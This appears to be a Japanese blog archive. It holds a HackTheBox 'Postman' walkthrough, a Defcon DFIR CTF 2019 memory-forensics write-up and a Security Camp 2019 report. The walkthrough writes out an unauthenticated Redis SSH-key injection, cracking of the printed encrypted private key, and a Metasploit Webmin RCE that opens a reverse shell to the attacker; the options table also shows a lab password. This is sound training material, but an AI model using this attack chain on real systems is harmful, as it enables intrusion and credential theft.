# Nmap done at Sun Nov 3 17:18:28 2019 -- 1 IP address (1 host up) scanned in 57.35 seconds
port10000
で稼働しているMiniServ 1.910 (Webmin httpd)
には脆弱性がありますが、認証情報を必要とするものです。
Webmin Webmin version 1.910 : Security vulnerabilities
22
、80
を調査しても何も見つかりません。
-p-
オプションを追加してフルスキャンします。
# Nmap 7.80 scan initiated Sun Nov 3 17:17:54 2019 as: nmap -sV -sC -A -p- -oA full postman.htb
(snip)
6379/tcp open redis Redis key-value store 4.0.9
(snip)
port6379
にてRedis
というサービスが稼働していうるのを確認でました。
2. Redisの調査
2.1. Redisとは
Redisは、ネットワーク接続された永続化可能なインメモリデータベース。連想配列、リスト、セットなどのデータ構造を扱える。いわゆるNoSQLデータベースの一つ。オープンソースソフトウェアプロジェクトであり、Redis Labsがスポンサーとなって開発されている。
2.2. Redisの脆弱性調査
Kali Linux - An Ethical Hacker's Cookbook
に攻撃方法が記載されているので、この攻撃を利用します。
https://www.amazon.co.jp/Kali-Linux-Practical-strategies-penetration/dp/1789952301
この攻撃は認証されていないRedisのインスタンスを使用し、authorized_keys
に作成した公開鍵を書き込むといった手法です。
root@kali:# ssh-keygen -t rsa
root@kali:#(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > ssh-key.txt
Redisへの接続にはredis-cli
を使用します。
root@kali:#apt instll redis-cli
root@kali:#cat ssh-key.txt | redis-cli -h postman.htb -x set ssh-key
root@kali:#redis-cli -h postman.htb
postman.htb:6379> config get dir
1) "dir"
2) "/var/lib/redis/.ssh"
postman.htb:6379> config set dir /var/lib/redis/.ssh
OK
postman.htb:6379> config set dbfilename "authorized_keys"
OK
postman.htb:6379> save
OK
3. SSH
3.1. 調査
攻撃が成功するとredis
としてログインすることができます。
root@kali:#ssh redis@postman.htb
redis@Postman:~$ls /home/
Matt
.bashrc
を読むと19行目と22行目にid_rsa.bak
というファイルを使用した形跡をあります。
(id_rsa.bak
のバックアップを取り忘れていました...)
3.2.id_rsa.bakを探す
redis@Postman:~$find / > find_id_rsa.bak.txt
redis@Postman:~$cat find_id_rsa.bak.txt | grep id_rsa.bak
/opt/id_rsa.bak
/var/lib/redis/find_id_rsa.bak.txt
/opt/
下にid_rsa.bak
を発見しました。
(特定のファイルのロケーションを調べるのに、効率の良い方法を知っている方が居たら教えてください。)
id_rsa.bak
の中身は秘密鍵です。
root@kali:# cat id_rsa.bak
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,73E9CEFBCCF5287C
JehA51I17rsCOOVqyWx+C8363IOBYXQ11Ddw/pr3L2A2NDtB7tvsXNyqKDghfQnX
cwGJJUD9kKJniJkJzrvF1WepvMNkj9ZItXQzYN8wbjlrku1bJq5xnJX9EUb5I7k2
7GsTwsMvKzXkkfEZQaXK/T50s3I4Cdcfbr1dXIyabXLLpZOiZEKvr4+KySjp4ou6
cdnCWhzkA/TwJpXG1WeOmMvtCZW1HCButYsNP6BDf78bQGmmlirqRmXfLB92JhT9
1u8JzHCJ1zZMG5vaUtvon0qgPx7xeIUO6LAFTozrN9MGWEqBEJ5zMVrrt3TGVkcv
EyvlWwks7R/gjxHyUwT+a5LCGGSjVD85LxYutgWxOUKbtWGBbU8yi7YsXlKCwwHP
UH7OfQz03VWy+K0aa8Qs+Eyw6X3wbWnue03ng/sLJnJ729zb3kuym8r+hU+9v6VY
Sj+QnjVTYjDfnT22jJBUHTV2yrKeAz6CXdFT+xIhxEAiv0m1ZkkyQkWpUiCzyuYK
t+MStwWtSt0VJ4U1Na2G3xGPjmrkmjwXvudKC0YN/OBoPPOTaBVD9i6fsoZ6pwnS
5Mi8BzrBhdO0wHaDcTYPc3B00CwqAV5MXmkAk2zKL0W2tdVYksKwxKCwGmWlpdke
P2JGlp9LWEerMfolbjTSOU5mDePfMQ3fwCO6MPBiqzrrFcPNJr7/McQECb5sf+O6
jKE3Jfn0UVE2QVdVK3oEL6DyaBf/W2d/3T7q10Ud7K+4Kd36gxMBf33Ea6+qx3Ge
SbJIhksw5TKhd505AiUH2Tn89qNGecVJEbjKeJ/vFZC5YIsQ+9sl89TmJHL74Y3i
l3YXDEsQjhZHxX5X/RU02D+AF07p3BSRjhD30cjj0uuWkKowpoo0Y0eblgmd7o2X
0VIWrskPK4I7IH5gbkrxVGb/9g/W2ua1C3Nncv3MNcf0nlI117BS/QwNtuTozG8p
S9k3li+rYr6f3ma/ULsUnKiZls8SpU+RsaosLGKZ6p2oIe8oRSmlOCsY0ICq7eRR
hkuzUuH9z/mBo2tQWh8qvToCSEjg8yNO9z8+LdoN1wQWMPaVwRBjIyxCPHFTJ3u+
Zxy0tIPwjCZvxUfYn/K4FVHavvA+b9lopnUCEAERpwIv8+tYofwGVpLVC0DrN58V
XTfB2X9sL1oB3hO4mJF0Z3yJ2KZEdYwHGuqNTFagN0gBcyNI2wsxZNzIK26vPrOD
b6Bc9UdiWCZqMKUx4aMTLhG5ROjgQGytWf/q7MGrO3cF25k1PEWNyZMqY4WYsZXi
WhQFHkFOINwVEOtHakZ/ToYaUQNtRT6pZyHgvjT0mTo0t3jUERsppj1pwbggCGmh
KTkmhK+MTaoy89Cg0Xw2J18Dm0o78p6UNrkSue1CsWjEfEIF3NAMEU2o+Ngq92Hm
npAFRetvwQ7xukk0rbb6mvF8gSqLQg7WpbZFytgS05TpPZPM0h8tRE8YRdJheWrQ
VcNyZH8OHYqES4g2UF62KpttqSwLiiF4utHq+/h5CQwsF+JRg88bnxh2z2BD6i5W
X+hK5HPpp6QnjZ8A5ERuUEGaZBEUvGJtPGHjZyLpkytMhTjaOrRNYw==
-----END RSA PRIVATE KEY-----
4. 秘密鍵の解析
root@kali:#ssh2john.py id_rsa.bak > id_rsa.bak.hash
root@kali:#john --wordlist=rockyou.txt id_rsa.bak.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 8 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
[PASSWORD] (id_rsa.bak)
Warning: Only 1 candidate left, minimum 8 needed for performance.
1g 0:00:00:06 DONE (2019-11-05 19:10) 0.1497g/s 2146Kp/s 2146Kc/s 2146KC/s *7¡Vamos!
Session complete
d
5. user.txtの取得
Matt
としてログイン
root@kali:#ssh redis@postman.htb
redis@Postman:~$su Matt
(Enter Matt's password.)
Matt@Postman:/var/lib/redis$ cd ~
Matt@Postman:~$ ls
user.txt
Matt@Postman:~$ cat user.txt | wc -c
33
6. Privilege escalation
Matt
の認証情報を取得できたので、MiniServ 1.910 (Webmin httpd)
の脆弱性をが利用可能になります。
root@kali:#msfconsole
msf5 > search webmin
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/webmin/edit_html_fileaccess 2012-09-06 normal No Webmin edit_html.cgi file Parameter Traversal Arbitrary File Access
1 auxiliary/admin/webmin/file_disclosure 2006-06-30 normal No Webmin File Disclosure
2 exploit/linux/http/webmin_packageup_rce 2019-05-16 excellent Yes Webmin Package Updates Remote Command Execution
3 exploit/unix/webapp/webmin_backdoor 2019-08-10 excellent Yes Webmin password_change.cgi Backdoor
4 exploit/unix/webapp/webmin_show_cgi_exec 2012-09-06 excellent Yes Webmin /file/show.cgi Remote Command Execution
5 exploit/unix/webapp/webmin_upload_exec 2019-01-17 excellent Yes Webmin Upload Authenticated RCE
msf5 > use 2
msf5 exploit(linux/http/webmin_packageup_rce) > set rhost postman.htb
msf5 exploit(linux/http/webmin_packageup_rce) > set lhost [IP]
msf5 exploit(linux/http/webmin_packageup_rce) > set ssl true
msf5 exploit(linux/http/webmin_packageup_rce) > set username Matt
msf5 exploit(linux/http/webmin_packageup_rce) > set password [PASSWORD]
msf5 exploit(linux/http/webmin_packageup_rce) > show options
Module options (exploit/linux/http/webmin_packageup_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD computer2008 yes Webmin Password
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.10.10.160 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 10000 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path for Webmin application
USERNAME Matt yes Webmin Username
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_perl):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST [IP] yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Webmin <= 1.910
msf5 exploit(linux/http/webmin_packageup_rce) > exploit
[*] Started reverse TCP handler on [IP]:4444
[+] Session cookie: [cookie]
[*] Attempting to execute the payload...
[*] Command shell session 1 opened ([IP]:4444 -> 10.10.10.160:36752) at 2019-11-05 21:20:27 +0900
pwd
/usr/share/webmin/package-updates
python3 -c 'import pty; pty.spawn("/bin/bash")'
root@Postman:/usr/share/webmin/package-updates/# cd ~
cd ~
root@Postman:~# ls
ls
redis-5.0.0 root.txt
root@Postman:~# cat root.txt | wc -c
cat root.txt | wc -c
33
Defcon DFIR CTF 2019 Write-up
- はじめに
- 更新履歴(2019/08/19)
- 解けた問題
- Memory Forensics
- get your volatility on [5pts]
- pr0file [10pts]
- hey, write this down [12pts]
- wscript can haz children [14pts]
- tcpip settings [18pts]
- intel [18pts]
- i <3 windows dependencies [20pts]
- mal-ware-are-you [20pts]
- lm-get bobs hash [24ptsp]
- vad the impaler [25ptsp]
- more vads?! [25ptsp]
- vacation bible school [25pts]
- 8675309 [35pts]
- whats-a-metasploit? [50pts]
- まとめ
はじめに
Defcon DFIR CTF 2019に個人で参加しました。
ジャンルは5つありますが「Memory Forensics」以外あまり解けなかったので、Memory Forensicsについて書きます。解け次第追記しますが、悪しからず。
更新履歴(2019/08/19)
なし
解けた問題
Memory Forensics
wscript can haz children [14pts]
i <3 windows dependencies [20pts]
Memory Forensics
get your volatility on [5pts]
配布されたmemファイルのSHA1を計算する
$ sha1sum Adam Ferrante - Triage-Memory.mem
flag<c95e8cc8c946f95a109ea8e47a6800de10a27abd>
pr0file [10pts]
配布されたmemファイルのOSは何かを特定する問題
$ volatility -f Adam Ferrante - Triage-Memory.mem imageinfo
flag<Win7SP1x64>
hey, write this down [12pts]
notepad.exeのプロセスIDは何かを特定する問題
$ volatility -f Adam Ferrante - Triage-Memory.mem --profile=Win7SP1x64 pslist | grep notepad.exe
Foundation Volatility Framework 2.5
0xfffffa80054f9060 notepad.exe 3032 1432 1 60 1 0 2019-03-22 05:32:22 UTC+0000
flag<1432>
wscript can haz children [14pts]
wscript.exeの子プロセスの名前を特定する問題
$ volatility -f Adam Ferrante - Triage-Memory.mem --profile=Win7SP1x64 pstree | grep -3 wscript.exe
Volatility Foundation Volatility Framework 2.5
. 0xfffffa8004798320:calc.exe 3548 1432 3 77 2019-03-22 05:34:43 UTC+0000
. 0xfffffa80053d3060:POWERPNT.EXE 4048 1432 23 765 2019-03-22 05:35:09 UTC+0000
. 0xfffffa8004905620:hfs.exe 3952 1432 6 214 2019-03-22 05:34:51 UTC+0000
.. 0xfffffa8005a80060:wscript.exe 5116 3952 8 312 2019-03-22 05:35:32 UTC+0000
... 0xfffffa8005a1d9e0:UWkpjFjDzM.exe 3496 5116 5 109 2019-03-22 05:35:33 UTC+0000
.... 0xfffffa8005bb0060:cmd.exe 4660 3496 1 33 2019-03-22 05:35:36 UTC+0000
. 0xfffffa80054f9060:notepad.exe 3032 1432 1 60 2019-03-22 05:32:22 UTC+0000
flag<UWkpjFjDzM.exe>
tcpip settings [18pts]
RAMがダンプされた時、マシンに割り当てられていたIPアドレスを答える問題
$ volatility -f Adam Ferrante - Triage-Memory.mem --profile=Win7SP1x64 netscan
Volatility Foundation Volatility Framework 2.5
Offset(P) Proto Local Address Foreign Address State Pid Owner Created
0x13e057300 UDPv4 10.0.0.101:55736 *:* 2888 svchost.exe 2019-03-22 05:32:20 UTC+0000
(snip)
0x13fc857e0 TCPv4 -:49167 72.51.60.132:443 CLOSED 1272 EXCEL.EXE
flag<10.0.0.101>
intel [18pts]
攻撃者のIPアドレスを特定する問題
$ volatility -f Adam Ferrante - Triage-Memory.mem --profile=Win7SP1x64 netscan
Volatility Foundation Volatility Framework 2.5
Offset(P) Proto Local Address Foreign Address State Pid Owner Created
0x13e057300 UDPv4 10.0.0.101:55736 *:* 2888 svchost.exe 2019-03-22 05:32:20 UTC+0000
0x13e05b4f0 UDPv6 ::1:55735 *:* 2888 svchost.exe 2019-03-22 05:32:20 UTC+0000
0x13e05b790 UDPv6 fe80::7475:ef30:be18:7807:55734 *:* 2888 svchost.exe 2019-03-22 05:32:20 UTC+0000
(snip)
0x13e397190 TCPv4 10.0.0.101:49217 10.0.0.106:4444 ESTABLISHED 3496 UWkpjFjDzM.exe
(snip)
0x13fa969f0 TCPv4 -:0 56.219.119.5:0 CLOSED 1272 EXCEL.EXE
0x13fbd07e0 TCPv4 -:49372 212.227.15.9:25 CLOSED 504
0x13fc857e0 TCPv4 -:49167 72.51.60.132:443 CLOSED 1272 EXCEL.EXE
flag<10.0.0.106>
i <3 windows dependencies [20pts]
VCRUNTIME140.dllが関連付けられているプロセスの名前を答える問題
$ volatility -f Adam Ferrante - Triage-Memory.mem --profile=Win7SP1x64 dlldump --dump-dir ./ | grep VCRUNTIME140.dll
Volatility Foundation Volatility Framework 2.5
0xfffffa80058ed390 OfficeClickToR 0x000007fefa5c0000 VCRUNTIME140.dll OK: module.1136.13e4ed390.7fefa5c0000.dll
flag<OfficeClickToR>
注意:正しいプロセス名は「OfficeClickToRun.exe」だが、Volatility上で表示されている「OfficeClickToR」を入力しないとフラグが通らない。
mal-ware-are-you [20pts]
$ volatility -f Adam Ferrante - Triage-Memory.mem --profile=Win7SP1x64 procdump -D ./ -p 3496
Volatility Foundation Volatility Framework 2.5
Process(V) ImageBase Name Result
------------------ ------------------ -------------------- ------
0xfffffa8005a1d9e0 0x0000000000400000 UWkpjFjDzM.exe OK: executable.3496.exe
$ md5sum -d executable.3496.exe
690ea20bc3bdfb328e23005d9a80c290
flag<690ea20bc3bdfb328e23005d9a80c290>
lm-get bobs hash [24ptsp]
bobsというアカウントのLMハッシュを答える問題
$ volatility -f Adam Ferrante - Triage-Memory.mem --profile=Win7SP1x64 hashdump
Volatility Foundation Volatility Framework 2.5
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Bob:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
flag<aad3b435b51404eeaad3b435b51404ee>
vad the impaler [25ptsp]
該当VADノードのページプロテクション状態を答える問題
$ volatility -f Adam Ferrante - Triage-Memory.mem --profile=Win7SP1x64 vadinfo | grep -10 0xfffffa800577ba10
Volatility Foundation Volatility Framework 2.5
(snip)
VAD node @ 0xfffffa800577ba10 Start 0x0000000000030000 End 0x0000000000033fff Tag Vad
Flags: NoChange: 1, Protection: 1
Protection: PAGE_READONLY
Vad Type: VadNone
ControlArea @fffffa8005687a50 Segment fffff8a000c4f870
NumberOfSectionReferences: 1 NumberOfPfnReferences: 0
NumberOfMappedViews: 29 NumberOfUserReferences: 30
Control Flags: Commit: 1
First prototype PTE: fffff8a000c4f8b8 Last contiguous PTE: fffff8a000c4f8d0
Flags2: Inherit: 1, SecNoChange: 1
flag<PAGE_READONLY>
more vads?! [25ptsp]
同じく、該当VADノードのページプロテクション状態を答える問題
$ volatility -f Adam Ferrante - Triage-Memory.mem --profile=Win7SP1x64 vadinfo | grep -5 0x00000000033c0000
Volatility Foundation Volatility Framework 2.5
VAD node @ 0xfffffa8005819640 Start 0x0000000002f60000 End 0x0000000002fdffff Tag VadS
Flags: CommitCharge: 2, PrivateMemory: 1, Protection: 4
Protection: PAGE_READWRITE
Vad Type: VadNone
(snip)
VAD node @ 0xfffffa80052652b0 Start 0x00000000033c0000 End 0x00000000033dffff Tag VadS
Flags: CommitCharge: 32, PrivateMemory: 1, Protection: 24
Protection: PAGE_NOACCESS
Vad Type: VadNone
(snip)
VAD node @ 0xfffffa8005441480 Start 0x00000000033c0000 End 0x00000000033cffff Tag Vad
Flags: Protection: 4
Protection: PAGE_READWRITE
Vad Type: VadNone
ControlArea @fffffa80053012c0 Segment fffff8a0037d2100
NumberOfSectionReferences: 1 NumberOfPfnReferences: 0
flag<PAGE_NOACCESS>
vacation bible school [25pts]
マシン上で実行されたVBSファイルの名前を特定する問題
$ volatility -f Adam Ferrante - Triage-Memory.mem --profile=Win7SP1x64 dlllist | grep .vbs
Volatility Foundation Volatility Framework 2.5
Command line : "C:\Windows\System32\wscript.exe" //B //NOLOGO %TEMP%\vhjReUDEuumrX.vbs
flag<vhjReUDEuumrX.vbs>
8675309 [35pts]
レコードが59045であるファイルの名前を特定する問題
$ volatility -f Adam Ferrante - Triage-Memory.mem mftparser
(snip)
***************************************************************************
***************************************************************************
MFT entry found at offset 0x2193d400
Attribute: In Use & File
Record Number: 59045
Link count: 2
$STANDARD_INFORMATION
Creation Modified MFT Altered Access Date Type
------------------------------ ------------------------------ ------------------------------ ------------------------------ ----
2019-03-17 06:50:07 UTC+0000 2019-03-17 07:04:43 UTC+0000 2019-03-17 07:04:43 UTC+0000 2019-03-17 07:04:42 UTC+0000 Archive
$FILE_NAME
Creation Modified MFT Altered Access Date Name/Path
------------------------------ ------------------------------ ------------------------------ ------------------------------ ---------
2019-03-17 06:50:07 UTC+0000 2019-03-17 07:04:43 UTC+0000 2019-03-17 07:04:43 UTC+0000 2019-03-17 07:04:42 UTC+0000 Users\Bob\DOCUME~1\EMPLOY~1\EMPLOY~1.XLS
(snip)
flag<EMPLOY~1.XLS>
whats-a-metasploit? [50pts]
MeterpreteであるプロセスのPIDを答える問題
flag<3496>
まとめ
Volatilityの使い方を覚えるのに最適なCTF
メモリフォレンジック入門者向けかなという印象
楽しい
セキュリティ・キャンプ全国大会2019に参加してきた
セキュリティ・キャンプ全国大会2019に参加してきました。
参加トラックはC(バラエティ)トラックです。
講義の内容は詳しく書けませんので、感想文だと思ってご覧下さい。
少しでも来年受講する方の有益な情報になればと思います。
受講した講義
Day2
C1〜C3「制御システムのセキュリティとShinoBOTによる攻防演習」
Day3
Day4
講義についての感想
C1〜C3「制御システムのセキュリティとShinoBOTによる攻防演習
このトラックは再現した産業システムのネットワーク上に流れているパケットを解析し、システムを攻撃・防御するといった講義です。
この講義のいい点は、やはり実際の機器を使用させて頂けるといった点です。
実際の産業システムでも使用されているようなPLCやHMI、ロボットアームといった機器を使用させて頂きました。
「これぞセキュリティキャンプ!」といった感じです。
(講師の方は機器の運搬に相当苦労したと仰っておられていましたw)
また、実際の産業システムへの攻撃ではどの様な攻撃手法で、
情報ネットワーク→制御ネットワーク→コントロールネットワーク
へと侵入してくるのかといったお話も聞くことができました。
個人的には1位タイで面白い講義でした。
トラックCでは、受講者が真剣に手を動かしています。写真だとわかりづらいですが、ロボットアームを激しく動かすデモンストレーションが行われています。#seccamp pic.twitter.com/okbwIg8ptH
— セキュリティ・キャンプ (@security_camp) August 14, 2019
D4「組込みリアルタイムOSとIoTシステム演習」
この講義は組込みリアルタイムOSを使ったロボットを動かし、ロボット同士の競争やロボットへの攻撃をしてみようといった内容の講義です。
C1~C3の講義と同じくロボットの実機を使用でき、THEセキュキャンといった講義です。
しかし環境の問題で2/4チームがロボットを動かすことができないといった残念な結果となってしまい、競争や攻撃ができないまま講義が終了してしまいました。
ロボットを動かすことが出来ずに悔しかったですが、RTOSなにつてい学ぶことができました。
トラックDでは松原 豊さんによる「組込みリアルタイムOSとIoTシステム演習 ~守って!攻めて!ロボット制御バトルで体験する組込みセキュリティ~」が始まりました。今日は事前学習で学んだ知識を生かしてグループ競技に取り組みます。 #seccamp pic.twitter.com/BxqCjV3IHh
— セキュリティ・キャンプ (@security_camp) August 15, 2019
D5「自走運転車両を守れ(自動運転車両の脅威分析)」
この講義はIoT機器が増えていく中で「どこが脅威をなるか」といった視点で、高レイヤーから低レイヤーにいたるまでIoTの脆弱性について学ぶといった講義です。
他の講義とは毛色が違い、一切パソコンは使用しない講義でした。
普段は自ら調べることは無い、昔の車の仕組みや昔のチップのお話を聞くことができました。
一緒くたにセキュリティといっても様々な視点があるのだと考えさせられる講義でした。
トラックDでは村松 菊男さんによる講義が始まりました! この講義では、自動運転車両の機能、車載ネットワーク図などから攻撃方法をリスティングし、想定される被害を推定します。#seccamp pic.twitter.com/jOIWCmlUCl
— セキュリティ・キャンプ (@security_camp) August 15, 2019
A6「マルウェアの暗号処理を解析しよう」
この講義はマルウェアがC&Cサーバーや取得した情報を外部へ流す際、発生する通信の暗号を解読できる様になろうといった内容の講義です。
(詳しい内容:https://insight-jp.nttsecurity.com/post/102flpy/untitled)
複数の暗号のアルゴリズム、ソースコード、アセンブラを4時間で理解するという非常に濃い内容の講義でした。
すこーしだけマルウェア解析を行ったことがあるというレベルの私では講義の3割ほどした理解できませんでしが、圧倒的成長を得られる講義です。
低レイヤー好きやマルウェア解析に興味がある方は選択必須の講義だと思います!
トラックA午前の講義は、羽田 大樹さん、幾世 知範さんによる「マルウェアの暗号処理を解析しよう」です。マルウェアにおいて実装されている暗号処理の場所やアルゴリズムを特定して、ネットワークログから通信を復号することに挑戦します。 #seccamp pic.twitter.com/7D2zIxybew
— セキュリティ・キャンプ (@security_camp) August 16, 2019
C7「車載LANの仕組みとメッセージの取得・解析」
この講義は車載LANの仕組みを学んだり、その車載LANに流れているパケットを解析して攻撃したりしようといった内容です。
いい点はC1~C3と同じく、実機を使用させて頂けるという点です。
これぞセキュリティキャンプといった講義です。
個人的には1位タイで面白いで、選択して後悔はしない講義だと思います。
トラックCの最後の講義は、井上 博之さんによる「車載LANの仕組みとメッセージの取得・解析」です。自動車のECUを制御するCANのパケットを実際に手を動かしながら解析していきます。 #seccamp pic.twitter.com/8tEvndHgrY
— セキュリティ・キャンプ (@security_camp) August 16, 2019
謝辞
CQ出版社さん、井上先生、Black Hatバッグを提供して下さった講師の方
ご提供下さり、誠にありがとうございます。
ありがたい!#seccamp pic.twitter.com/ehVYoMBUUx
— 柴けん (@shiba_x86ken) August 16, 2019
おまけ
私はキャンプに参加する前に「ご飯はどうなんだろう...」という疑問がありました。
同じような疑問を持っている方は少なからずいらっしゃると思います。食は大切ですからね。
心配していましたが、普通においしかったです!